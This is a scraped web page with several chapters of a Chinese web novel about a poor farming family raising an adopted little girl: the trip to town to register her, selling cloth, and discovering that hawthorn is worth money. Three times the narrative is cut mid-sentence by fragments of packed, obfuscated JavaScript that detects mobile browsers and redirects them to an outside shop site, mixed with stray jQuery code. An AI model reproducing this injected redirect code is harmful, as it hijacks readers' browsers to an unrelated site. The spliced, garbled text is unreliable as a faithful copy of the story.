富贵人家不吃这东西,不知道的人压根不碰这些东西,还怕它有毒呢,附近山民却是知道的。家贫,小孩子也没有旁的吃,张家人每到秋后便上山摘一筐来,放在家里给孩子当冬日的零嘴儿。 小平安却为此念念不忘了,晚间吃过饭回屋,扒着宋氏的膝盖问她:“娘,咱家有冰糖吗,我要做冰糖葫芦。” “冰糖是什么?”七月问。 宋氏忙着箍麻鞋,细麻绳在手指间灵活地穿梭,一层一层往上打结子。她这回做的麻鞋格外大,像小船,预备着冬日里打毛窝子的,能塞进去许多芦花和鸡毛。 “你知道冰糖?”宋氏问,冰糖这东西她也只听说过,压根没见过,毕竟这东西金贵,想必都是那些富家大户吃的,百姓人家盐都吃不起,哪会买这东西。 宋氏心里疑惑了一下,平安怎知道冰糖,七月都不知道呢,难不成,平安真是富贵人家丢的孩子? 宋氏敢打赌,村里许多上了年纪的人都不一定知道冰糖。 “平安,你吃过冰糖没?”宋氏问。 平安歪着脑袋想了一下,摇摇头。作为一个需要保护牙齿的三岁小宝宝,以前她好像、大概,真的没有吃过冰糖。 至于冰糖葫芦——那是冰糖葫芦,又不是冰糖,小孩子可不会撒谎。 “平安乖,那东西太贵了,娘也没见过,不知道哪里有卖。” 宋氏一边说,一边抬高两手,无奈地看看两个小的,左边膝盖趴着平安,右边腿上挨着七月,宋氏无奈地嫌弃道,“你俩旁边玩去,碍事绊脚,别耽误我干活。” “喔。”七月答应着爬上床,把被子铺平,招呼平安上床,拿了一根细麻绳来玩翻花绳。屋子小,没有地方玩,以前她两个老喜欢在床上玩抓籽,石子来回地把被子都磨破了,两人于是就不在床上玩抓籽了。 她两个在床上玩,原本躺靠在床头的张有喜便自觉往旁边让了让,给她们挪出地方,自己在床头一侧盘腿坐着。三人把本来就不大的小木床占得满满当当。 少了两个捣蛋的,宋氏干活速度快了许多。要不是寒冬将至,她哪里舍得点灯熬油,赶紧把手上这点儿弄完了睡觉。 可床上两个小孩却还没忘记好吃的,七月问:“娘,那个冰糖你吃过吗,好吃吗?” “我哪吃过。”宋氏道,“我也就听你二舅说过,你二舅吃过一回,你外婆娘家有个亲戚嫁了富贵人家,出门子时人家匀糖,你二舅得了一颗,跟我说可比蜂蜜还甜。” 七月失望了一下,她也没吃过蜂蜜,哪知道什么味道。 平安翻花绳不会翻,把麻绳扯在小胖手上乱作一团,自己笑哈哈放弃了,转头跟宋氏说道:“娘,买冰糖,做糖葫芦,又酸又甜的好吃。” 七月被她那形容馋得咽口水,问道:“怎么做,你说得跟真的似的,你会做?” “嗯……”平安挠挠头,她不会呀,她又没做过,她就只会吃。平安想了想说,“就是……把冰糖弄成糖浆,裹在糖葫芦上就行了。” 宋氏失笑,想象一下,甜甜的冰糖裹在什么东西上不好吃啊,裹鞋底都好吃。宋氏笑道:“你这孩子,你真会寻思着吃,可是娘哪里去给你买冰糖呀。” “嗐,小孩子不就这样吗。”张有喜笑,随口哄小孩道,“行,等你爹有钱了,就给你买。” 七月都能听出他爹忽悠人了,也不当真,平安人小,傻乎乎听他忽悠,注意力很快就转移到了别的东西上。 一时间小小的屋子里一灯如豆,不时传出两个小孩嘻嘻哈哈的玩闹声。 “还是小小孩好玩,你看那两个大的,都不往我们跟前凑了。”张有喜道。连二郎都追着他哥跑,又不知野哪儿去了。 宋氏还嫌小孩子黏人呢,笑着抬头看了看床上小两只,手上快快地把麻鞋的绳结收尾。 “你发没发现咱家平安……”张有喜眯眼瞅着小平安,灯火摇曳,一张小包子脸映着灯光,孩子的笑颜像花儿一样。张有喜道:“我怎么瞧着,咱家平安变样儿了?” “瘦了。”宋氏道。 “不光瘦了。”张有喜道,“刚来时跟个糯米团子似的,白白嫩嫩的,怎么让咱家养了这阵子,变成个荞麦卷子了。” 宋氏:“……” 行吧,秋风一起,谁家孩子不皴脸。 尤其平安原本那张粉嘟嘟面团一样的小嫩脸,一秋天本就晒黑了不少,冷风一吹,便皴得更加明显。 这才刚秋末呢,等到寒冬里冷风头一吊,村里个个都是脸上长冻疮的小孩,许多小孩两腮帮子冻得紫青蓝靛的一团,都溃破淌血,一直到来年夏天还有印子。 “你想法子给她吃点儿好的。”张有喜还沉浸在平安瘦了的认知中,怎把人家糯米团子给养成荞麦卷子了,他嘱咐宋氏,“到底还小,不硬实,还得精心一些。” 都说小儿难养,这般几岁大的幼儿,一个不好可能就夭折了,尤其是风雪严寒的冷冬时节。村里上了年纪的老人都会说,但凡家里有一口吃的,秋末头尽量给孩子多吃点儿,寒冬腊月才好扛得住。 至少要养到五六岁上,像七月这样,身体硬实一点了,才能稍稍放点儿心。可也不敢尽然放心,这年月村里连个郎中都没见过,便是成年壮汉,一场风寒也可能要了命。 再想到自家娘子的辛苦,四个孩子叫她整日不得闲,如今又添了一个,张有喜忍不住歉疚道:“可都辛苦你了,嫁了我就没享过福。” “去去,少说这些没用的。”宋氏嫌弃地挥挥手,“去,你去烧点儿热水来,给她两个烫烫手脚,脸也要洗,以后每日晚间都要拿热水洗脸洗手、烫脚,莫生了冻疮。” “快去!” 张有喜一骨碌爬起来,颠颠地跑去烧热水。 …………35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031269|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因着张有喜一番感慨,第二日晚间,宋氏做饭时便烧了个“顶门杠”。 庄户人穷,家家粗粮野菜,有时为了给孩子吃口细粮,便把一团白面裹在筷子头上,做饭时放在灶膛里烤熟,这个就叫“顶门杠”。这“顶门杠”做法不那么讲究,味道却香得很,闻着就满满的粮食焦香味。 就是这么烤熟会有点硬,若是小婴孩还得大人嚼着喂,平安这样大的倒是自己能吃了,拿着筷子自己吃得香。 “二姐,你吃。”平安举着筷子要分给七月一口。 “我不吃。”七月嫌弃道,“你自己吃,这个是小娃娃吃的,我小时候也吃过。” 于是平安举着筷子香喷喷的在那儿啃。吴氏瞥一眼自家小儿子,很难忽视张银哥那小心挪开的眼神。不干重活,大家碗里都只有加了豆子碎的野菜粥,吴氏看着小儿子叹了口气。 “平安这两日有点闹肚子。”宋氏解释道,“我便跟娘说了,娘说烤焦的白面补肚子。” “烤焦的白面,还有焦了的香锅巴,小孩儿吃了好克化。”余氏接过来说道。 婆母都开口了,吴氏忙笑道:“对对,我也听老辈们说过的。” 她闹肚子了吗?平安摸摸小肚肚,嗯,确实,咕噜咕噜响。 隔天平安又吃到一回“顶门杠”,张有喜得了里正那边传话,明日带他进城给平安办理附籍。 里正那个做派,张有喜心知里正拖到现在,恐怕不会是专门带他去的,也就顺带,但偏偏里正就是能说的好像专门跑腿给他办事一样。 乡下人极少出门,张有喜统共也没进过几回城,此等大事,张有喜心里便先把这趟行程来回思虑了一遍,又跑去找他爹讨主意——他花钱总得先经过他爹。 “爹,你说里正明日带我过去,晌午饭我怎给他安排?” 张春山也很费了一番思量,为这事,家里都已经送了一碗白米了,那里正,不能再让他们出血吧? 没法子,人穷,气短。城里东西可贵,他们哪请得起。 于是张春山便叫余氏准备干粮,叮咛嘱咐一番:明日给他捎一匹布去卖,若里正黏黏糊糊地等他请客,便叫张有喜自己酌量,请他吃一顿汤饼、馒头之类,钱就从卖布的钱里出;若是那里正仁义,推辞不去,那便请他一起用个干粮,再买一碗热茶水好了。 张有喜回屋跟宋氏说,宋氏便又从他们的私房里拿了二十文给他备用,卖布的钱毕竟公中的,有定数,他们不好私自动用。 两人纠结了一下带不带孩子,这事儿里正也是头一回办,只说应当不用带孩子,可万一去了又说要带呢? “带上吧,”张有喜道,“带上牢靠,万一人家说不行,难不成还再跑一趟?” 这秋深霜冷的,带个孩子出门可不容易,于是两人赶紧再准备一番。第二天一大早,小平安被从被窝里拎出来,穿上冬衣袄裤,头上扎两个小丫角,暖暖地喝一碗热粥,然后便被塞进了一个大箩筐里。 筐子一圈塞满麦草,小平安坐在草窝里只露个脑袋,倒是不冷,宋氏又拿了一块她自己的青绿包头巾,仔细给平安包上。 一筐孩子,另一筐是捎进城去卖的家织粗布,还有干粮和水,张有喜挑起担子,迎着晨曦出发了。 18.第 18 章 箩筐晃晃悠悠,小平安头一次坐在箩筐里,还挺新奇的,高兴地左看右看,又转头看着张有喜傻乐呵。她爹的脸迎着刚露头的红太阳,像染了一层金红的颜色。 “爹!” “诶!” “咱们去哪儿呀?” “进城。”张有喜本想逗小孩说进城把你卖了,想起这孩子跟自家生的那四个不一样,被人扔过一次了,不能这样吓她,便改了口吻道,“爹带你进城玩去。” 好耶,小平安继续傻乐呵。她之前的三岁一直生活在一个不大不小的城市,其实也分不清城里乡下,只知道她爹要带她出去玩了,就高兴。 “不带哥哥姐姐吗?” “不带。”张有喜随口找了个理由,“他们太大了,爹挑不动。” 平安点着小脑袋深以为然,那是,哥哥姐姐都太大只了,连二姐都比她高大许多,装不进这个筐里。 父女两个聊得悠哉,张有喜脚上却不含糊,挑着担子大步流星往前走,遇见人便远远地招呼一声。 “王家婶子,挑水呢。” “挑水呢,有喜啊,这是要往哪去呀?” “出个门,进城给我小女办附籍去。”瞧见村口河沿一堆哈着手洗衣裳的妇人,张有喜扬笑招呼,“各位婶子、嫂子洗衣裳呢。” “洗衣裳呢。”“这是要出门啊。”妇人们纷纷扬笑回应他。 等人刚一走远,妇人们便热切讨论起来: “瞧见没,那就是张家捡的那小孩,如今他家留着养了。” “就是那小丫头?啧,也没瞧清楚,听说长得极好。” “长得好有甚用,将来还不是一副嫁妆嫁与旁人家了。” “就是就是,要说这张家也是有病,怕不是个傻的,自家也四个孙女儿了吧,这又养一个捡来的,不是平白添了个累赘吗。” “谁知道呢,而今这年月谁又能真傻,你知道人家做的什么打算?” …… 话题中心的父女俩停在村口小石桥上,等了会儿,远远瞧见里正赶着驴车过来了。张有喜心中不禁生出一些感激,里正竟舍得自家的驴车,今日他还以为里正骑驴,而他要挑着担子在后面追呢。 “上来上来,”里正远远招呼道,“把筐子都搬上来,今日书院休沐,我那长子能家来一趟,我回头顺带接他。” 张有喜:…… 到底谁才是顺带。 肚子里腹诽,口中却连忙道谢,早早收了扁担,等那驴车停在跟前,便动手把筐子连孩子一起端上去,自己爬上去坐在车辕,孩子依旧留在筐里暖和。 小平安不是太喜欢这个里正,瞧了他两眼,见里正只顾赶车都没看她,小平安便也不看他了。 驴车晃悠悠,筐里暖呼呼,耳边听着她爹和里正东扯西拉的聊家常,一轮朝阳照得人犯困,小平安不知不觉就睡着了。 兴许因为起了个大早,这一觉睡得香甜,等她醒来睁开眼,驴车便已经晃晃悠悠进到了城里。 在小平安看来,城里就是比村子大一些的地方,街上有很多人,很多跟村里差不多的矮房子,没有高楼也没有汽车和红绿灯,更没有警察蜀黍。一路在各种小商小贩的吆喝声中,驴车停在了官衙门口。 “吁——到了。” 里正跳下车,找个地方把驴车拴了,先仔细整理了一下衣裳,才带着张有喜往衙门里去。张有喜把小平安抱在怀里,也不敢抬头乱看,亦步亦趋地跟在里正身后。 里正打躬作揖地跟守门的官差说了几句话,官差叫他们等着,等了一会儿,小平安正瞧着衙门口的两个大石狮子有趣呢,官差挥手叫他们进去。 走进大门,中间一座坐北朝南的公堂,两旁长长两排厢房,进了厢房味道就不怎么好闻了,有点臭。 不大的厢房里摆满桌案,几个小吏坐在案后忙碌,里正顶着那一股子臭墨汁味儿走到其中一张桌案旁,又一番拱手作揖,点头哈腰,指着张有喜和平安说明来意。 “捡来的孩子?”那小吏抬头瞥了一眼道,“附籍要先申官,万一她有家人找呢,哪能就贸然把与他家了。” 里正忙说报官了的,某天某日早就来报过官了,这孩子确是找不到家人、无处可去的,那小吏便放下笔,起身去拿来一本册子,翻了翻找到当日的记档,手指一敲,然后便拍出一张纸、递过笔来。 张有喜又不识字,自然是里正帮他填了,让张有喜摁了个手印,如此这般一番,便从小吏手里换来一张盖着官府大印的附籍文书。 里正行礼告退,张有喜也跟着行了个叉手礼,赶紧抱起小平安跟着出去,等到走出屋门才终于松了口气。 “这就行了?”张有喜一手抱孩子,一手拿着那张鲜红大印的文书问。 “就行了,有了这附籍书,这女儿便是你家的了,等我回去再把这人口给你家户头添上。”里正笑道,“并且她只有三岁,又是个丫头,将来便是她亲生爹娘寻来,也不能随便讨要回去。” “你还别说,这小孩儿……”里正看着小平安说道,“你家这小丫头,进了衙门也不害怕,还眼睛骨碌碌到处看,胆子可比你大。” “初生牛犊不怕虎,她知道什么是怕。”张有喜笑,一直走到驴车跟前才把孩子放下,仔细把附籍书折好放进怀里。 张有喜这会儿觉得,里正此人其实还是不错的,确也有可取之处,此番若无他帮忙他自己必然抓瞎,于是心里便暗暗决定,晌午饭就请他吃个汤饼好了,有汤有水的滋润,比馒头强。 谁知他还没说话,里正便已先开口说道:“有喜,我想起有个朋友要去走动一下,不好带着你,你进城一回也难得,不如带着孩子四处逛逛,我们下午再回去,便约在西城门,申时正我等你可好?” 张有喜一听当然说好,他把筐子搬下来,里正便赶着驴车自顾自走了。张有喜看看怀里眼睛骨碌碌四处看热闹的小平安,把她放回筐里,重又挑起担子出发。 他一路打听着,先去里正说的布庄把布卖了。这种家织粗布平日会有货郎进村来收,收布、收鸡蛋,同时售卖绣线、针、灯油等物,也可以直接拿鸡蛋换。货郎收布一匹一百五十文,结果张有喜找到布庄一问,布庄收却是一百六十文。 张有喜顿时觉得亏大了,十文钱的差价,值得他往城里跑一趟了,只要不是农忙,庄户人工夫不值钱,横竖他进城又不花钱,他自带干粮。 张有喜赶紧把布卖给柜上,接过钱问道:“那这布,你们往外卖多少钱一匹?” 伙计也不恼,只是笑道:“客官这话问的,我们总得有个赚头不是。” 张有喜不好意思再问,便拿出水葫芦给平安喂水,故意在店里逗留了会儿,果然听到掌柜跟进来的客人说“本色粗麻布两百二十文一匹”。 两百二十文一匹?张有喜一口水差点没呛着,出去后跟平安小声道:“真黑。” “嗯,真黑。”平安不管懂不懂,就跟着她爹帮腔。 卖完布,另一只筐里只剩下一包干粮和装水的葫芦,张有喜便把两只箩筐摞到一起,把平安放进箩筐,干粮和葫芦也塞进筐子一边,背起箩筐拿着扁担,揣着一百六十文巨款离开布庄。 日头还早着呢,父女两个开始无所事事地在街上游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038795|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡。 这一条城中最繁华的武曲大街,两旁店铺林立,小摊小贩随处可见,各种叫卖声塞满耳朵,食物的香气传来阵阵诱惑。 张有喜瞧见一个卖饴糖的小摊,扭头问道:“平安,爹给你买糖吃可好?” “好。” “客官买糖吃,上好的饴糖嘞。”小贩手里摇着拨浪鼓,瞧见张有喜背后筐里的小平安,立刻转移目标,冲着平安殷勤招呼道,“小娘子,买糖吃嘞,可甜可甜的饴糖嘞,快让你爹给你买。” 平安探着脑袋看了半天,那糖,黄黄的颜色好大一块,没见过的,旁边还有两个罐子黑乎乎的,也没见过。 “这是敲糖,这是糖稀,”小贩指着介绍,“小娘子要哪样?” 平安看来看去问:“这糖,能做糖葫芦吗?” “能能能,你要做什么吃?”小贩估计根本没听懂她在说什么,也全然不关心,殷勤说道,“可甜可甜了,你要怎么吃都行。” 张有喜问了价格,便指着敲糖,叫小贩敲一文钱的。小贩拿小锤子敲下鸡蛋大一块,用一小块干荷叶包了递给平安。 平安啃了一口,嗯,是糖,确实是甜的,吃着嘴里的,便把剩下的包起来塞进筐里。 “你怎么不吃了?”张有喜道,“你都吃了吧,不用给你哥你姐留。” 就这么一点儿回去不好分,再说这是他们私房钱买的,回去也不好说话。 平安说:“留着,回家做糖葫芦。” “你还没忘呢,”张有喜不禁笑道,“那个什么糖葫芦,就那么好吃?” “好吃,还能卖钱。”平安奶声奶气地强调。毕竟家里有那么多山红果,哥哥还说山上有很多很多,要多少有多少。 张有喜摇头失笑,这小孩成精了,人还没有个山红果大呢,净想着赚钱。 张有喜背着平安一路闲逛,可看了不少热闹,经过一家药铺门口,门口竹排上晒着一些东西,张有喜溜达过去,眼尖地瞧见一样眼熟的。 他低头细看,平安也扶着筐沿伸头去看,这不是大哥摘的那黑枣吗。 “这也是药?”张有喜惊讶问道。 一个学徒模样的小厮正翻着那些药材晾晒,闻言摇头晃脑道:“君迁子,也叫黑枣、柿枣,《海药本草》载:主消渴,烦热,镇心。” 张有喜:“你就告诉我多少钱一斤,要多少我给你摘。” “不值钱的,三文钱一斤,不过,”小学徒说话大喘气,“近日不收,铺里已够用了。” “……”张有喜一噎,继续在那上面看稀奇,他知道山里有药材,可一般人也不认得呀,采了药也不会炮制。 “这个呢?”张有喜仔细端详另一样,觉得眼熟又不敢认,抓起一把凑近了看。 “山楂。”小学徒继续摇头晃脑背药典,“《本草经集注》载:酸、甘,微温,归脾、胃、肝经,消食健胃、行气散瘀、化浊降脂。” 山楂,山红果! 张有喜仔细再看,还真是山红果,切片晒干了的山红果,莫怪他一眼没认出来。他赶紧问:“这个,你们还收不收,多少钱一斤?” “收的,看品质,切片均匀,晾晒得好,干透不能发黑,八文钱一斤。” 张有喜顿时狂喜,索性把筐子放下,用力揉了一把平安的小脑袋笑道:“平安,真给你说中了,这东西居然也值钱,回去就让你哥哥们上山摘去。” 小平安摸摸脑袋跟着傻乐呵,这个,好多好多钱吗?看她爹高兴成这样。她记得糖葫芦就挺贵的,以前她自己去买,一串要好几个圆圆的钱。 她还想卖糖葫芦呢。 19.第 19 章 因为发现了来钱路,张有喜止不住的兴奋。虽说八文钱一斤不多,还是切片晒干,可毕竟没有本钱的买卖。要知道庄户人最不值钱的就是人工,一到农闲,村里村外到处是蹲墙根晒太阳的闲汉。 回去赶紧上山摘。 这一兴奋,张有喜便大方了起来,晌午背着平安去给她买馒头吃。素馒头一文钱一个,肉菜馒头三文钱一个,纯羊肉的馒头竟要八文钱一个,八文钱,还有没有天理了。 张有喜便花四文钱买了一个羊肉萝卜馒头、一个白菘豆腐馒头,热乎乎递给平安,又拿出装水的葫芦跟伙计讨了点热水。 平安抓着白胖胖的大馒头一口咬下去,便不禁幸福地“啊呜”一声,这馒头不是馒头,居然有馅儿,肉馅儿,油汪汪的肉馅儿,可太香了。 平安都好长好长时间没吃肉了,尤其她吃惯的猪肉,说三月不知肉味一点不假。虽说这馒头是萝卜羊肉的,不过是萝卜里头加了点羊脂和肉沫,可平安认定它就是大肉包子。 张有喜找了个向阳背风的墙角,先把箩筐放下来,自己也就着墙根坐下,拿出干粮吃午饭。平安一看他拿出黑乎乎的杂面烙饼,赶紧把手里包子往他嘴边递。 “爹,你吃。” “我不吃,你吃。”张有喜道,“我不喜欢吃这个馒头。你小孩子吃了长高高,我吃了没用不长高。” 这样啊,平安便继续吃她的大肉包子——话说她都被搞糊涂了,纳闷道:“爹,这不是肉包子吗,为什么叫馒头呢?” 张有喜:“这不就是馒头吗,羊肉馒头。” 这不是包子吗? 小平安困惑脸:“包子不叫包子,馒头不叫馒头,家里的馒头叫炊饼,城里的包子叫馒头……” 张有喜:……什么乱七八糟的,他都绕糊涂了。 想到“山楂”,平安把山红果叫山楂,方才那小学徒说药书上也叫山楂,张有喜看着小女的眼神便多了几分赞叹,他家平安,竟然还知道药书上的叫法,莫不是个非同凡响的孩子? 吃了午饭,喝了热水,父女俩在墙角晒着太阳休息了会儿,便一路逛、一路问路地先去西城门等候。 等到申时,里正赶着驴车,车上坐着他在城里读书的大儿子来了,带上张有喜父女两个一路回村。 驴车到底快,二十几里的路,跑起来大半个时辰就到了。到家时天色傍黑,宋氏正站在门口张望,张有喜便把平安交给宋氏,自己先去堂屋见过他爹娘。 先把卖布的钱交给张春山,张有喜便眉飞色舞地跟家里人说起今日进城的见闻——重点就是,摘山红果,卖钱! 八文钱一斤!张春山闻言大喜,心里盘算着三个儿子、四个孙子都能上山去摘,儿媳和孙女们就在家里切片,一斤鲜果能晒多少干子且不知道,就算五斤晒一斤好了,一天下来儿孙们少说也能摘个两三筐,一百斤应当有的,如此就能卖一百六十文……赶上儿媳起早贪黑一两个月织出一匹布的钱了,这还不算种麻、沤麻和纺线的成本。 越算越激动。 “既有这路子,是不是也得告诉你二叔和四弟一声。”张春山道,“他家比咱们还艰难呢,每年还要交宅地的租钱。” “回头我便请二叔来。”张有田道,“只是,村里谁家不穷?我们这般上山去摘山红果,又切片晾晒,村里人若问起来……” 张春山纠结为难半晌,说道:“却也不好瞒着,没的叫人家说咱们不厚道,藏着掖着吃独食。” 宋氏在旁边听得实在忍不住了,问张有喜道:“你说那黑枣,他便不收了?” 张有喜说不收了,宋氏叹气道:“爹娘面前,儿媳原不该多嘴,可这东西既是做药材便该有定量,年年也必定有采药人固定卖他,我们这样忽然去卖,谁知道他还能收几斤?这东西又不稀罕,也不光咱们进过城,若是敞开了收,早该许多人知道了,哪还轮得到咱们。若是把旁的事情都放下,咱们做了这山红果干子他却不要了,家里的事情白白耽误了。” 老张家一堆人:“……” 可不是,这药,药还能吃多少啊,又不是粮食。 张有喜揉揉脑门,再一次为自家娘子的见地折服,想了想叹气道:“我看这么着吧,咱们这几日该干啥干啥,冬衣、柴禾这些一样不能耽误,荞麦也该收割了,便只叫大郎和金哥上山去摘,摘回来抽空再慢慢切片晾晒,没的因为这个误了家里正事。” 过冬的这些准备若是耽误了,那一家老小才麻爪子呢,大冬天出人命的。 一家子纷纷点头,张有喜想了想又说道:“不过,既然这东西这样好,我听他说什么健胃消食、化浊气,咱们倒是可以给奶奶吃一点,反正本来也是能吃的东西。” “有理。”张春山点头。余氏便嘱咐耿氏给太奶奶煮粥放上几个,且试一试。 其实太奶奶也说不上什么病,无非年纪大了,以前是糊涂,天一冷便几乎卧床,越发的糊涂没精神,东西也吃得少。若是这山楂有用,能多吃些东西兴许还能好些。 堂屋里大人商量正事,平安和七月就在西厢房研究糖葫芦。糖葫芦这个实在不难,平安一说七月就明白了,便去拿了几根秫秸葶子,把山红果洗了串上,然后两个小孩凑在一起研究那块硬邦邦的饴糖。 敲糖这个七月吃过,可是要弄成“糖浆”裹在山红果上,却把两个小孩难住了。 七月一拍大腿:“那你怎么不买糖稀?” 敲糖这个是硬的,而糖稀本来就是软的,浆汁一样的。 平安傻乎乎呆了一下,她哪懂啊,明明冰糖葫芦的糖是硬硬脆脆的。平安鼓着小脸道:“那卖糖的跟我说可以。” “你被他哄了。”七月道,“就算敲糖能化成糖水,那还不如直接买糖稀呢。” 平安委屈了一下,那卖糖的,他怎么能哄小孩呢。 “你俩干什么呢?”腊月进来见两个小孩凑着头瞎捣鼓,便过来瞧瞧,两个小孩赶紧叽叽喳喳跟大姐说。 腊月瞧着她们手里串成串的山红果觉得好玩有趣,再一听她们描述,便笑道:“听着倒蛮好吃的,这么吃可好玩儿。下回若有小贩来村里卖糖,叫爹给你们买点儿糖稀,好歹打发了你们两只馋猫。” 腊月说完就走了,她这个年纪的女孩儿家,忙着做针线、学织布呢, 荞不见霜不老,踩着路边的白霜,张家人第二日便按照原计划收割荞麦。 这割荞麦的活儿倒不甚着急,张春山只带着三个儿子下田去割,大郎和张金哥上山摘山红果,便把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045850|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二郎和张银哥两个小羊倌一起带走了。如今两个小羊倌一起行动,一个看羊,一个便可顺手挖野菜、打猪草,省了家里再专门有人打猪草。 宋氏、吴氏带着家中女孩儿们照旧采芦花、做冬衣、捡柴禾、储备冬菜……余氏和耿氏则留下照管家务、伺候太奶奶,天冷,宋氏便把七月和平安也留在了家中。 一大家子各司其职,各自去忙。晌午饭回来,张春山父子几个一进门,便兴奋不已地宣布了一桩大消息。 官家下旨了,梁庄,梁相公,合族流放,奴仆发卖! 还有还有,何知州竟也受到牵连,罢官免职,这会子怕已经灰溜溜离开沂州了。想那何知州在沂州府为官多年,终究没能全须全尾地致仕荣养,失去了身后名。 “官家竟没砍了他,官家还是太仁义了。那梁管事也跟着倒霉了吧,哈哈哈……” 宋氏看着自家男人眉飞色舞的样子,想说这事都过去那么久了,张有喜还这般幸灾乐祸呢。 可她接下来便知道男人们兴奋的根源了,张有喜终于说到了重点。 “官府发布的告示,田庄也贴了,梁庄收归国有,改成了官田,以后这梁庄便是官家的了。” 张有喜兴奋道,“我还担心梁庄换个什么样的主人呢,这下可好,以后咱们就是给官家种地了!” “今日田庄新来的庄头已经到了,明日田庄便开始收租,都按照之前的契书五五分成,以后也都五五分成不变。” “关键是他只按契书,提都没提牛米,竟还有蠢笨的夯货自己问了,那新庄头说,他给官家办事,只认契书,契书上没有牛米他便不收,不能随意加码,与民夺利!” 这下子宋氏也不淡定了,顿时喜上眉梢,问道:“这么说,咱家今年不用交牛米了?” “不用。”张春山终于在三儿子滔滔不绝的发布中插进话来,笑道,“咱家今年足省了一成半牛米,应当不愁粮食不够吃了,年底兴许还能余几个钱。” “不光牛米。”张有福笑道,“那稻米,也是按当日估产交租五成,咱家稻子长得好,比估产怕还能高出一些,都是咱自家的了。” 说着张有福转头向耿氏笑道,“大嫂,今晚吃米粥成不?碾得细一点,咱吃白米,咱们好歹舍得吃一顿。上回煮的少,还得尽着奶奶和小兔崽子们,大人们哪里舍得吃几口,就只尝了个味儿。” 众人一起哄笑,耿氏忙说晚上就煮,稠稠的煮一大锅白米粥。 平安和七月上了糖葫芦的瘾,虽然没有裹糖,可山红果放了几日不那么酸了,变甜了,串着吃也好玩儿。听到院里大人们欢声笑语,小平安一手一串红彤彤的糖葫芦,好奇地从屋里跑出来。 张春山瞧着她穿一身肥大的粗布冬衣,头上两个红布条的小丫揪,举着两串红果子蹦蹦跳跳跑过来,顿时联想到了年画上那个福娃娃。 “平安,你有白米粥吃了。”张春山一把抱起小孩,笑道,“你这小丫头,你一来就有大米吃了,你莫非是个小福星?” 平安哪知道什么是小福星,跟着爷爷傻乐,抱在张春山怀里傻乐呵半天,却向张有喜软软甜甜地说道:“爹,我想买糖稀。” “买!”张春山笑道,“要吃糖是不是,爷爷给买。”